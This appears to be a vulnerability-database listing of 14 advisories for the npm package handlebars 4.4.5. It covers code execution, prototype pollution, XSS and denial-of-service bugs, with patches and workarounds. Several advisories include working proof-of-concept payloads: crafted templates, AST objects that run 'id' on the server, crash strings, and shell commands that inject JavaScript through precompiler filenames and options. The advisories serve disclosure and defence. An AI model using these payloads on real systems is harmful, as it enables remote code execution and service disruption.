NodeJS/handlebars/4.4.5


Handlebars provides the power necessary to let you build semantic templates effectively with no frustration

https://www.npmjs.com/package/handlebars
MIT

14 Security Vulnerabilities

Arbitrary Code Execution in handlebars

Published date: 2020-09-04T14:57:38Z
Links:

Versions of handlebars prior to 3.0.8 or 4.5.2 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).

The following template can be used to demonstrate the vulnerability:
{{#with "constructor"}} {{#with split as |a|}} {{pop (push "alert('Vulnerable Handlebars JS');")}} {{#with (concat (lookup join (slice 0 1)))}} {{#each (slice 2 3)}} {{#with (apply 0 a)}} {{.}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}}

Recommendation

Upgrade to version 3.0.8, 4.5.2 or later.

Affected versions: ["4.5.1", "4.5.0", "4.4.5", "4.4.4", "4.4.3", "4.4.2", "4.4.1", "4.4.0", "4.3.5", "4.3.4", "4.3.3", "4.3.2", "4.3.1", "4.3.0", "4.2.2", "4.2.1", "4.2.0", "4.1.2", "4.1.2-0", "4.1.1", "4.1.0", "4.0.14", "4.0.13", "4.0.12", "4.0.11", "4.0.10", "4.0.9", "4.0.8", "4.0.7", "4.0.6", "4.0.5", "4.0.4", "4.0.3", "4.0.2", "4.0.1", "4.0.0", "3.0.7", "3.0.6", "3.0.5", "3.0.4", "3.0.3", "3.0.2", "3.0.1", "3.0.0", "2.0.0", "2.0.0-beta.1", "2.0.0-alpha.4", "2.0.0-alpha.3", "2.0.0-alpha.2", "2.0.0-alpha.1", "1.3.0", "1.2.1", "1.2.0", "1.1.2", "1.1.1", "1.1.0", "1.0.12", "1.0.11", "1.0.10", "1.0.9", "1.0.8", "1.0.7", "1.0.6", "1.0.6-2", "1.0.5-beta", "1.0.4-beta", "1.0.2-beta"]
Secure versions: [4.7.9]
Recommendation: Update to version 4.7.9.

Handlebars.js has Prototype Pollution Leading to XSS through Partial Template Injection

Published date: 2026-03-26T22:20:51Z
CVE: CVE-2026-33916
Links:

Summary

resolvePartial() in the Handlebars runtime resolves partial names via a plain property lookup on options.partials without guarding against prototype-chain traversal. When Object.prototype has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered without HTML escaping, resulting in reflected or stored XSS.

Description

The root cause is in lib/handlebars/runtime.js inside resolvePartial() and invokePartial():

// Vulnerable: plain bracket access traverses Object.prototype
partial = options.partials[options.name];

hasOwnProperty is never checked, so if Object.prototype has been seeded with a key whose name matches a partial reference in the template (e.g. widget), the lookup succeeds and the polluted string is returned. The runtime emits a prototype-access warning, but the partial is still resolved and its content is inserted into the rendered output unescaped. This contradicts the documented security model and is distinct from CVE-2021-23369 and CVE-2021-23383, which addressed data property access rather than partial template resolution.

Prerequisites for exploitation: 1. The target application must be vulnerable to prototype pollution (e.g. via qs, minimist, or any querystring/JSON merge sink). 2. The attacker must know or guess the name of a partial reference used in a template.

Proof of Concept

const Handlebars = require('handlebars');

// Step 1: Prototype pollution (via qs, minimist, or another vector)
Object.prototype.widget = '<img src=x onerror="alert(document.domain)">';

// Step 2: Normal template that references a partial
const template = Handlebars.compile('<div>Welcome! {{> widget}}</div>');

// Step 3: Render — XSS payload injected unescaped
const output = template({});
// Output: <div>Welcome! <img src=x onerror="alert(document.domain)"></div>

The runtime prints a prototype access warning claiming access has been denied, but the partial still resolves and returns the polluted value.

Workarounds

  • Apply Object.freeze(Object.prototype) early in application startup to prevent prototype pollution. Note: this may break other libraries.
  • Use the Handlebars runtime-only build (handlebars/runtime), which does not compile templates and reduces the attack surface.

Affected versions: ["4.7.8", "4.7.7", "4.7.6", "4.7.5", "4.7.4", "4.7.3", "4.7.2", "4.7.1", "4.7.0", "4.6.0", "4.5.3", "4.5.2", "4.5.1", "4.5.0", "4.4.5", "4.4.4", "4.4.3", "4.4.2", "4.4.1", "4.4.0", "4.3.5", "4.3.4", "4.3.3", "4.3.2", "4.3.1", "4.3.0", "4.2.2", "4.2.1", "4.2.0", "4.1.2", "4.1.2-0", "4.1.1", "4.1.0", "4.0.14", "4.0.13", "4.0.12", "4.0.11", "4.0.10", "4.0.9", "4.0.8", "4.0.7", "4.0.6", "4.0.5", "4.0.4", "4.0.3", "4.0.2", "4.0.1", "4.0.0"]
Secure versions: [4.7.9]
Recommendation: Update to version 4.7.9.

Handlebars.js has JavaScript Injection via AST Type Confusion

Published date: 2026-03-27T18:19:58Z
CVE: CVE-2026-33937
Links:

Summary

Handlebars.compile() accepts a pre-parsed AST object in addition to a template string. The value field of a NumberLiteral AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to compile() can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.

Description

Handlebars.compile() accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in lib/handlebars/compiler/javascript-compiler.js emits NumberLiteral values verbatim:

// Simplified representation of the vulnerable code path:
// NumberLiteral.value is appended to the generated code without escaping
compiledCode += numberLiteralNode.value;

Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as {},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() // as the value of a NumberLiteral causes the generated eval-ed code to break out of its intended context and execute arbitrary commands.

Any endpoint that deserializes user-controlled JSON and passes the result directly to Handlebars.compile() is exploitable.

Proof of Concept

Server-side Express application that passes req.body.text to Handlebars.compile():

import express from "express";
import Handlebars from "handlebars";

const app = express();
app.use(express.json());

app.post("/api/render", (req, res) => {
  let text = req.body.text;
  let template = Handlebars.compile(text);
  let result = template();
  res.send(result);
});

app.listen(2123);
POST /api/render HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:2123

{
  "text": {
    "type": "Program",
    "body": [
      {
        "type": "MustacheStatement",
        "path": {
          "type": "PathExpression",
          "data": false,
          "depth": 0,
          "parts": ["lookup"],
          "original": "lookup",
          "loc": null
        },
        "params": [
          {
            "type": "PathExpression",
            "data": false,
            "depth": 0,
            "parts": [],
            "original": "this",
            "loc": null
          },
          {
            "type": "NumberLiteral",
            "value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
            "original": 1,
            "loc": null
          }
        ],
        "escaped": true,
        "strip": { "open": false, "close": false },
        "loc": null
      }
    ]
  }
}

The response body will contain the output of the id command executed on the server.

Workarounds

  • Validate input type before calling Handlebars.compile(): ensure the argument is always a string, never a plain object or JSON-deserialized value. javascript if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); }
  • Use the Handlebars runtime-only build (handlebars/runtime) on the server if templates are pre-compiled at build time; compile() will be unavailable.

Affected versions: ["4.7.8", "4.7.7", "4.7.6", "4.7.5", "4.7.4", "4.7.3", "4.7.2", "4.7.1", "4.7.0", "4.6.0", "4.5.3", "4.5.2", "4.5.1", "4.5.0", "4.4.5", "4.4.4", "4.4.3", "4.4.2", "4.4.1", "4.4.0", "4.3.5", "4.3.4", "4.3.3", "4.3.2", "4.3.1", "4.3.0", "4.2.2", "4.2.1", "4.2.0", "4.1.2", "4.1.2-0", "4.1.1", "4.1.0", "4.0.14", "4.0.13", "4.0.12", "4.0.11", "4.0.10", "4.0.9", "4.0.8", "4.0.7", "4.0.6", "4.0.5", "4.0.4", "4.0.3", "4.0.2", "4.0.1", "4.0.0"]
Secure versions: [4.7.9]
Recommendation: Update to version 4.7.9.

Arbitrary Code Execution in Handlebars

Published date: 2022-02-10T20:38:19Z
CVE: CVE-2019-20920
Links:

Handlebars before 3.0.8 and 4.x before 4.5.3 is vulnerable to Arbitrary Code Execution. The lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript. This can be used to run arbitrary code on a server processing Handlebars templates or in a victim's browser (effectively serving as XSS).

Affected versions: ["4.5.2", "4.5.1", "4.5.0", "4.4.5", "4.4.4", "4.4.3", "4.4.2", "4.4.1", "4.4.0", "4.3.5", "4.3.4", "4.3.3", "4.3.2", "4.3.1", "4.3.0", "4.2.2", "4.2.1", "4.2.0", "4.1.2", "4.1.2-0", "4.1.1", "4.1.0", "4.0.14", "4.0.13", "4.0.12", "4.0.11", "4.0.10", "4.0.9", "4.0.8", "4.0.7", "4.0.6", "4.0.5", "4.0.4", "4.0.3", "4.0.2", "4.0.1", "4.0.0", "3.0.7", "3.0.6", "3.0.5", "3.0.4", "3.0.3", "3.0.2", "3.0.1", "3.0.0", "2.0.0", "2.0.0-beta.1", "2.0.0-alpha.4", "2.0.0-alpha.3", "2.0.0-alpha.2", "2.0.0-alpha.1", "1.3.0", "1.2.1", "1.2.0", "1.1.2", "1.1.1", "1.1.0", "1.0.12", "1.0.11", "1.0.10", "1.0.9", "1.0.8", "1.0.7", "1.0.6", "1.0.6-2", "1.0.5-beta", "1.0.4-beta", "1.0.2-beta"]
Secure versions: [4.7.9]
Recommendation: Update to version 4.7.9.

Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block

Published date: 2026-03-27T18:20:44Z
CVE: CVE-2026-33938
Links:

Summary

The @partial-block special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites @partial-block with a crafted Handlebars AST, a subsequent invocation of {{> @partial-block}} compiles and executes that AST, enabling arbitrary JavaScript execution on the server.

Description

Handlebars stores @partial-block in the data frame that is accessible to templates. In nested contexts, a parent frame's @partial-block is reachable as @_parent.partial-block. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite @partial-block with an attacker-controlled value.

When {{> @partial-block}} is subsequently evaluated, invokePartial receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to dynamically compiling the value via env.compile(). If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.

The handlebars-helpers npm package (commonly used with Handlebars) includes several helpers such as merge that can be used as the mutation primitive.

Proof of Concept

Tested with Handlebars 4.7.8 and handlebars-helpers:

const Handlebars = require('handlebars');
const merge = require('handlebars-helpers').object().merge;
Handlebars.registerHelper('merge', merge);

const vulnerableTemplate = `
{{#*inline "myPartial"}}
    {{>@partial-block}}
    {{>@partial-block}}
{{/inline}}
{{#>myPartial}}
    {{merge @_parent partial-block=1}}
    {{merge @_parent partial-block=payload}}
{{/myPartial}}
`;

const maliciousContext = {
  payload: {
    type: "Program",
    body: [
      {
        type: "MustacheStatement",
        depth: 0,
        path: {
          type: "PathExpression",
          parts: ["pop"],
          original: "this.pop",
          // Code injected via depth field — breaks out of generated function call
          depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//",
        },
      },
    ],
  },
};

Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: RCE via @partial-block

Workarounds

  • Use the runtime-only build (require('handlebars/runtime')). The compile() method is absent, eliminating the vulnerable fallback path.
  • Audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only.
  • Avoid registering helpers from third-party packages (such as handlebars-helpers) in contexts where templates or context data can be influenced by untrusted input.

Affected versions: ["4.7.8", "4.7.7", "4.7.6", "4.7.5", "4.7.4", "4.7.3", "4.7.2", "4.7.1", "4.7.0", "4.6.0", "4.5.3", "4.5.2", "4.5.1", "4.5.0", "4.4.5", "4.4.4", "4.4.3", "4.4.2", "4.4.1", "4.4.0", "4.3.5", "4.3.4", "4.3.3", "4.3.2", "4.3.1", "4.3.0", "4.2.2", "4.2.1", "4.2.0", "4.1.2", "4.1.2-0", "4.1.1", "4.1.0", "4.0.14", "4.0.13", "4.0.12", "4.0.11", "4.0.10", "4.0.9", "4.0.8", "4.0.7", "4.0.6", "4.0.5", "4.0.4", "4.0.3", "4.0.2", "4.0.1", "4.0.0"]
Secure versions: [4.7.9]
Recommendation: Update to version 4.7.9.

Handlebars.js has a Property Access Validation Bypass in container.lookup

Published date: 2026-03-29T15:16:37Z
Links:

Summary

In lib/handlebars/runtime.js, the container.lookup() function uses container.lookupProperty() as a gate check to enforce prototype-access controls, but then discards the validated result and performs a second, unguarded property access (depths[i][name]). This Time-of-Check Time-of-Use (TOCTOU) pattern means the security check and the actual read are decoupled, and the raw access bypasses any sanitization that lookupProperty may perform.

Only relevant when the compat compile option is enabled ({compat: true}), which activates depthedLookup in lib/handlebars/compiler/javascript-compiler.js.

Description

The vulnerable code in lib/handlebars/runtime.js (lines 137–144):

lookup: function (depths, name) {
  const len = depths.length;
  for (let i = 0; i < len; i++) {
    let result = depths[i] && container.lookupProperty(depths[i], name);
    if (result != null) {
      return depths[i][name];  // BUG: should be `return result;`
    }
  }
},

container.lookupProperty() (lines 119–136) enforces hasOwnProperty checks and resultIsAllowed() prototype-access controls. However, container.lookup() only uses lookupProperty as a boolean gate — if the gate passes (result != null), it then performs an independent, raw depths[i][name] access that circumvents any transformation or wrapped value that lookupProperty may have returned.

Workarounds

  • Avoid enabling { compat: true } when rendering templates that include untrusted data.
  • Ensure context data objects are plain JSON (no Proxies, no getter-based accessor properties).

Affected versions: ["4.7.8", "4.7.7", "4.7.6", "4.7.5", "4.7.4", "4.7.3", "4.7.2", "4.7.1", "4.7.0", "4.6.0", "4.5.3", "4.5.2", "4.5.1", "4.5.0", "4.4.5", "4.4.4", "4.4.3", "4.4.2", "4.4.1", "4.4.0", "4.3.5", "4.3.4", "4.3.3", "4.3.2", "4.3.1", "4.3.0", "4.2.2", "4.2.1", "4.2.0", "4.1.2", "4.1.2-0", "4.1.1", "4.1.0", "4.0.14", "4.0.13", "4.0.12", "4.0.11", "4.0.10", "4.0.9", "4.0.8", "4.0.7", "4.0.6", "4.0.5", "4.0.4", "4.0.3", "4.0.2", "4.0.1", "4.0.0"]
Secure versions: [4.7.9]
Recommendation: Update to version 4.7.9.

Prototype Pollution in handlebars

Published date: 2022-02-10T23:51:42Z
CVE: CVE-2021-23383
Links:

The package handlebars before 4.7.7 are vulnerable to Prototype Pollution when selecting certain compiling options to compile templates coming from an untrusted source.

Affected versions: ["4.7.6", "4.7.5", "4.7.4", "4.7.3", "4.7.2", "4.7.1", "4.7.0", "4.6.0", "4.5.3", "4.5.2", "4.5.1", "4.5.0", "4.4.5", "4.4.4", "4.4.3", "4.4.2", "4.4.1", "4.4.0", "4.3.5", "4.3.4", "4.3.3", "4.3.2", "4.3.1", "4.3.0", "4.2.2", "4.2.1", "4.2.0", "4.1.2", "4.1.2-0", "4.1.1", "4.1.0", "4.0.14", "4.0.13", "4.0.12", "4.0.11", "4.0.10", "4.0.9", "4.0.8", "4.0.7", "4.0.6", "4.0.5", "4.0.4", "4.0.3", "4.0.2", "4.0.1", "4.0.0", "3.0.8", "3.0.7", "3.0.6", "3.0.5", "3.0.4", "3.0.3", "3.0.2", "3.0.1", "3.0.0", "2.0.0", "2.0.0-beta.1", "2.0.0-alpha.4", "2.0.0-alpha.3", "2.0.0-alpha.2", "2.0.0-alpha.1", "1.3.0", "1.2.1", "1.2.0", "1.1.2", "1.1.1", "1.1.0", "1.0.12", "1.0.11", "1.0.10", "1.0.9", "1.0.8", "1.0.7", "1.0.6", "1.0.6-2", "1.0.5-beta", "1.0.4-beta", "1.0.2-beta"]
Secure versions: [4.7.9]
Recommendation: Update to version 4.7.9.

Handlebars.js has Denial of Service via Malformed Decorator Syntax in Template Compilation

Published date: 2026-03-27T18:21:15Z
CVE: CVE-2026-33939
Links:

Summary

When a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. {{*n}}), the compiled template calls lookupProperty(decorators, "n"), which returns undefined. The runtime then immediately invokes the result as a function, causing an unhandled TypeError: ... is not a function that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a try/catch is vulnerable to a single-request Denial of Service.

Description

In lib/handlebars/compiler/javascript-compiler.js, the code generated for a decorator invocation looks like:

fn = lookupProperty(decorators, "n")(fn, props, container, options) || fn;

When "n" is not a registered decorator, lookupProperty(decorators, "n") returns undefined. The expression immediately attempts to call undefined as a function, producing:

TypeError: lookupProperty(...) is not a function

Because the error is thrown inside the compiled template function and is not caught by the runtime, it propagates up as an unhandled exception and — when not caught by the application — crashes the Node.js process.

This inconsistency is notable: references to unregistered helpers produce a clean "Missing helper: ..." error, while references to unregistered decorators cause a hard crash.

Attack scenario: An attacker submits {{*n}} as template content to any endpoint that calls Handlebars.compile(userInput)(). Each request crashes the server process; with process managers that auto-restart (PM2, systemd), repeated submissions create a persistent DoS.

Proof of Concept

const Handlebars = require('handlebars'); // Handlebars 4.7.8, Node.js v22.x

// Any of these payloads crash the process
Handlebars.compile('{{*n}}')({});
Handlebars.compile('{{*decorator}}')({});
Handlebars.compile('{{*constructor}}')({});

Expected crash output: TypeError: lookupProperty(...) is not a function at Function.eval [as decorator] (eval at compile (...javascript-compiler.js:134:36))

Workarounds

  • Wrap compilation and rendering in try/catch: javascript try { const result = Handlebars.compile(userInput)(context); res.send(result); } catch (err) { res.status(400).send('Invalid template'); }
  • Validate template input before passing it to compile(). Reject templates containing decorator syntax ({{*...}}) if decorators are not used in your application.
  • Use the pre-compilation workflow: compile templates at build time and serve only pre-compiled templates; do not call compile() at request time.

Affected versions: ["4.7.8", "4.7.7", "4.7.6", "4.7.5", "4.7.4", "4.7.3", "4.7.2", "4.7.1", "4.7.0", "4.6.0", "4.5.3", "4.5.2", "4.5.1", "4.5.0", "4.4.5", "4.4.4", "4.4.3", "4.4.2", "4.4.1", "4.4.0", "4.3.5", "4.3.4", "4.3.3", "4.3.2", "4.3.1", "4.3.0", "4.2.2", "4.2.1", "4.2.0", "4.1.2", "4.1.2-0", "4.1.1", "4.1.0", "4.0.14", "4.0.13", "4.0.12", "4.0.11", "4.0.10", "4.0.9", "4.0.8", "4.0.7", "4.0.6", "4.0.5", "4.0.4", "4.0.3", "4.0.2", "4.0.1", "4.0.0"]
Secure versions: [4.7.9]
Recommendation: Update to version 4.7.9.

Remote code execution in handlebars when compiling templates

Published date: 2021-05-06T15:57:44Z
CVE: CVE-2021-23369
Links:

The package handlebars before 4.7.7 are vulnerable to Remote Code Execution (RCE) when selecting certain compiling options to compile templates coming from an untrusted source.

Affected versions: ["4.7.6", "4.7.5", "4.7.4", "4.7.3", "4.7.2", "4.7.1", "4.7.0", "4.6.0", "4.5.3", "4.5.2", "4.5.1", "4.5.0", "4.4.5", "4.4.4", "4.4.3", "4.4.2", "4.4.1", "4.4.0", "4.3.5", "4.3.4", "4.3.3", "4.3.2", "4.3.1", "4.3.0", "4.2.2", "4.2.1", "4.2.0", "4.1.2", "4.1.2-0", "4.1.1", "4.1.0", "4.0.14", "4.0.13", "4.0.12", "4.0.11", "4.0.10", "4.0.9", "4.0.8", "4.0.7", "4.0.6", "4.0.5", "4.0.4", "4.0.3", "4.0.2", "4.0.1", "4.0.0", "3.0.8", "3.0.7", "3.0.6", "3.0.5", "3.0.4", "3.0.3", "3.0.2", "3.0.1", "3.0.0", "2.0.0", "2.0.0-beta.1", "2.0.0-alpha.4", "2.0.0-alpha.3", "2.0.0-alpha.2", "2.0.0-alpha.1", "1.3.0", "1.2.1", "1.2.0", "1.1.2", "1.1.1", "1.1.0", "1.0.12", "1.0.11", "1.0.10", "1.0.9", "1.0.8", "1.0.7", "1.0.6", "1.0.6-2", "1.0.5-beta", "1.0.4-beta", "1.0.2-beta"]
Secure versions: [4.7.9]
Recommendation: Update to version 4.7.9.

Prototype Pollution in handlebars

Published date: 2020-09-04T15:06:32Z
Links:

Versions of handlebars prior to 3.0.8 or 4.5.3 are vulnerable to prototype pollution. It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.

Recommendation

Upgrade to version 3.0.8, 4.5.3 or later.

Affected versions: ["4.5.2", "4.5.1", "4.5.0", "4.4.5", "4.4.4", "4.4.3", "4.4.2", "4.4.1", "4.4.0", "4.3.5", "4.3.4", "4.3.3", "4.3.2", "4.3.1", "4.3.0", "4.2.2", "4.2.1", "4.2.0", "4.1.2", "4.1.2-0", "4.1.1", "4.1.0", "4.0.14", "4.0.13", "4.0.12", "4.0.11", "4.0.10", "4.0.9", "4.0.8", "4.0.7", "4.0.6", "4.0.5", "4.0.4", "4.0.3", "4.0.2", "4.0.1", "4.0.0", "3.0.7", "3.0.6", "3.0.5", "3.0.4", "3.0.3", "3.0.2", "3.0.1", "3.0.0", "2.0.0", "2.0.0-beta.1", "2.0.0-alpha.4", "2.0.0-alpha.3", "2.0.0-alpha.2", "2.0.0-alpha.1", "1.3.0", "1.2.1", "1.2.0", "1.1.2", "1.1.1", "1.1.0", "1.0.12", "1.0.11", "1.0.10", "1.0.9", "1.0.8", "1.0.7", "1.0.6", "1.0.6-2", "1.0.5-beta", "1.0.4-beta", "1.0.2-beta"]
Secure versions: [4.7.9]
Recommendation: Update to version 4.7.9.

Arbitrary Code Execution in handlebars

Published date: 2020-09-04T15:07:38Z
Links:

Versions of handlebars prior to 3.0.8 or 4.5.3 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It is due to an incomplete fix for a previous issue. This vulnerability can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).

Recommendation

Upgrade to version 3.0.8, 4.5.3 or later.

Affected versions: ["4.5.2", "4.5.1", "4.5.0", "4.4.5", "4.4.4", "4.4.3", "4.4.2", "4.4.1", "4.4.0", "4.3.5", "4.3.4", "4.3.3", "4.3.2", "4.3.1", "4.3.0", "4.2.2", "4.2.1", "4.2.0", "4.1.2", "4.1.2-0", "4.1.1", "4.1.0", "4.0.14", "4.0.13", "4.0.12", "4.0.11", "4.0.10", "4.0.9", "4.0.8", "4.0.7", "4.0.6", "4.0.5", "4.0.4", "4.0.3", "4.0.2", "4.0.1", "4.0.0", "3.0.7", "3.0.6", "3.0.5", "3.0.4", "3.0.3", "3.0.2", "3.0.1", "3.0.0", "2.0.0", "2.0.0-beta.1", "2.0.0-alpha.4", "2.0.0-alpha.3", "2.0.0-alpha.2", "2.0.0-alpha.1", "1.3.0", "1.2.1", "1.2.0", "1.1.2", "1.1.1", "1.1.0", "1.0.12", "1.0.11", "1.0.10", "1.0.9", "1.0.8", "1.0.7", "1.0.6", "1.0.6-2", "1.0.5-beta", "1.0.4-beta", "1.0.2-beta"]
Secure versions: [4.7.9]
Recommendation: Update to version 4.7.9.

Handlebars.js has JavaScript Injection via AST Type Confusion when passing an object as dynamic partial

Published date: 2026-03-27T18:21:44Z
CVE: CVE-2026-33940
Links:

Summary

A crafted object placed in the template context can bypass all conditional guards in resolvePartial() and cause invokePartial() to return undefined. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to env.compile(). Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup.

Description

The vulnerable code path spans two functions in lib/handlebars/runtime.js:

resolvePartial(): A crafted object with call: true satisfies the first branch condition (partial.call) and causes an early return of the original object itself, because none of the remaining conditionals (string check, options.partials lookup, etc.) match a plain object. The function returns the crafted object as-is.

invokePartial(): When resolvePartial returns a non-function object, invokePartial produces undefined. The runtime interprets undefined as partial not yet compiled and calls env.compile(partial, ...) where partial is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated.

Minimum prerequisites: 1. The template uses a dynamic partial lookup: {{> (lookup . "key")}} or equivalent. 2. The adversary can set the value of the looked-up context property to a crafted object.

In server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution.

Proof of Concept

const Handlebars = require('handlebars');

const vulnerableTemplate = `{{> (lookup . "payload")}}`;

const maliciousContext = {
  payload: {
    call: true, // bypasses the primary resolvePartial branch
    type: "Program",
    body: [
      {
        type: "MustacheStatement",
        depth: 0,
        path: {
          type: "PathExpression",
          parts: ["pop"],
          original: "this.pop",
          // Injected code breaks out of the generated function's argument list
          depth: "0])),function () {console.error('VULNERABLE: object -> dynamic partial -> RCE');}()));//",
        },
      },
    ],
  },
};

Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: object -> dynamic partial -> RCE

Workarounds

  • Use the runtime-only build (require('handlebars/runtime')). Without compile(), the fallback compilation path in invokePartial is unreachable.
  • Sanitize context data before rendering: ensure no value in the context is a non-primitive object that could be passed to a dynamic partial.
  • Avoid dynamic partial lookups ({{> (lookup ...)}}) when context data is user-controlled.

Affected versions: ["4.7.8", "4.7.7", "4.7.6", "4.7.5", "4.7.4", "4.7.3", "4.7.2", "4.7.1", "4.7.0", "4.6.0", "4.5.3", "4.5.2", "4.5.1", "4.5.0", "4.4.5", "4.4.4", "4.4.3", "4.4.2", "4.4.1", "4.4.0", "4.3.5", "4.3.4", "4.3.3", "4.3.2", "4.3.1", "4.3.0", "4.2.2", "4.2.1", "4.2.0", "4.1.2", "4.1.2-0", "4.1.1", "4.1.0", "4.0.14", "4.0.13", "4.0.12", "4.0.11", "4.0.10", "4.0.9", "4.0.8", "4.0.7", "4.0.6", "4.0.5", "4.0.4", "4.0.3", "4.0.2", "4.0.1", "4.0.0"]
Secure versions: [4.7.9]
Recommendation: Update to version 4.7.9.

Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options

Published date: 2026-03-27T18:22:10Z
CVE: CVE-2026-33941
Links:

Summary

The Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.

Description

lib/precompiler.js generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:

1. Template name injection

// Vulnerable code pattern
output += 'templates["' + template.name + '"] = template(...)';

template.name is derived from the file system path. A filename containing " or ']; breaks out of the string literal and injects arbitrary JavaScript.

2. Namespace injection (-n / --namespace)

// Vulnerable code pattern
output += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';

opts.namespace is emitted as raw JavaScript. Anything after a ; in the value becomes an additional JavaScript statement.

3. CommonJS path injection (-c / --commonjs)

// Vulnerable code pattern
output += 'var Handlebars = require("' + opts.commonjs + '");';

opts.commonjs is interpolated inside double quotes with no escaping, allowing " to close the string and inject further code.

4. AMD path injection (-h / --handlebarPath)

// Vulnerable code pattern
output += "define(['" + opts.handlebarPath + "handlebars.runtime'], ...)";

opts.handlebarPath is interpolated inside single quotes, allowing ' to close the array element.

All four injection points result in code that executes when the generated bundle is require()d or loaded in a browser.

Proof of Concept

Template name vector (creates a file pwned on disk):

mkdir -p templates
printf 'Hello' > "templates/evil'] = (function(){require(\"fs\").writeFileSync(\"pwned\",\"1\")})(); //.handlebars"

node bin/handlebars templates -o out.js
node -e 'require("./out.js")'  # Executes injected code, creates ./pwned

Namespace vector:

node bin/handlebars templates -o out.js \
  -n "App.ns; require('fs').writeFileSync('pwned2','1'); //"
node -e 'require("./out.js")'

CommonJS vector:

node bin/handlebars templates -o out.js \
  -c 'handlebars"); require("fs").writeFileSync("pwned3","1"); //'
node -e 'require("./out.js")'

AMD vector:

node bin/handlebars templates -o out.js -a \
  -h "'); require('fs').writeFileSync('pwned4','1'); // "
node -e 'require("./out.js")'

Workarounds

  • Validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (", ', ;, etc.).
  • Use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines.
  • Run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation.
  • Audit template filenames in any repository or package that is consumed by an automated build pipeline.

Affected versions: ["4.7.8", "4.7.7", "4.7.6", "4.7.5", "4.7.4", "4.7.3", "4.7.2", "4.7.1", "4.7.0", "4.6.0", "4.5.3", "4.5.2", "4.5.1", "4.5.0", "4.4.5", "4.4.4", "4.4.3", "4.4.2", "4.4.1", "4.4.0", "4.3.5", "4.3.4", "4.3.3", "4.3.2", "4.3.1", "4.3.0", "4.2.2", "4.2.1", "4.2.0", "4.1.2", "4.1.2-0", "4.1.1", "4.1.0", "4.0.14", "4.0.13", "4.0.12", "4.0.11", "4.0.10", "4.0.9", "4.0.8", "4.0.7", "4.0.6", "4.0.5", "4.0.4", "4.0.3", "4.0.2", "4.0.1", "4.0.0"]
Secure versions: [4.7.9]
Recommendation: Update to version 4.7.9.

Denial of Service

Published date: 2020-04-27
CVSS Score: 6.5
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Links:

Crash Node.js process from handlebars using a small and simple source

